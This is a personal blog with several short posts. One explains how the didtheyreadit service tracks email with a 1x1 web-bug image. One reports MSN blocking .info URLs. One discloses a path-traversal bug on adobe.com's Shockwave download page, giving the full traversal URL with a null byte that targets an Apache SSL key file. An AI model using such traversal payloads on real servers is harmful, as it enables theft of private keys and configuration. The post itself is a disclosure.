nion's blog

Just stumbled upon didtheyreadit a service which claims to be able to track sent email not depending on the mail client. You just set from which address you want to send mail from and send your email to user@host.didtheyreadit.com and then you can track the email via a web interface:



I was interested in how they do it and if it really works with every mail client which I couldn't believe.
If you send your mail to .didtheyreadit.com you of course lose your privacy and they resend the mail for you to the server attaching their "tracking".

So lets have a look at the email.
All they do is converting your mail into multi-part message adding an HTML part which includes an additional:

<div><img src="http://e-mail-servers.com/SOMESESSIONIDworker.jpg" nosend="1" name="dtri" width="1" height="1">

Your email client will then make an HTTP request to the 1x1 pixel big embedded image (well at least if you use a crappy one or webmail) which causes to update the status of the mail in the webinterface. So this is really a lame way of making money and use the fact that there are still enough stupid people out there enabling reading and writing of HTML mails
The "nosend" parameter is an invention by Microsoft Outlook which causes Outlook to not rewrite image URLs (it's not included in the standard).

So this is just a trivial web bug.

Interesting is also that if you encrypt your mail and send it to .idtheyreadit.com it will get lost

... and of course some other interesting data.

http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=../../../../../../../../..//usr/local/apache/conf/ssl.key/www.adobe.com.key%00

That's really bad

UPDATE: the certificate seems to be self signed, it is not the certificate from https://www.adobe.com, thanks rbu
Anyway there is other useful information and it's still a bug.

UPDATE: looks like they are currently fixing the issue:
"Site Area Temporarily Unavailable

The Player Download Center is temporarily unavailable. In the meantime, you may download Adobe Flash Player and Adobe Shockwave Player from the links below."

Reading this and the AdiumX wiki it seems like MSN is censoring IM on the server-side.

However trying with ak who is actually using Adium X this seem to be bullshit^WFUD since our little .info test conversation worked flawlessly.

"According to communications director of MSN Sweden, Jessica Börjel, this is being done to protect users against exploits and worms spreading through the MSN Messenger service."

According to what I know about big companies they make official statements, not just some foobar in a private mail. So can someone please enlighten me?

Anyway, stop crying guys, there are better alternatives.

UPDATE: They really censor!
It seems to be no FUD, it seems to be true. But it's not just the .info keyword but the whole URL. So if you send http://test.info/download.php?foo=bar this will be blocked. At least you get an error message in AdiumX, in centericq/im you don't get one
Shame on Microsoft yet another time, especially for this lame approach of muddling security with obscurity, but as said there are better alternatives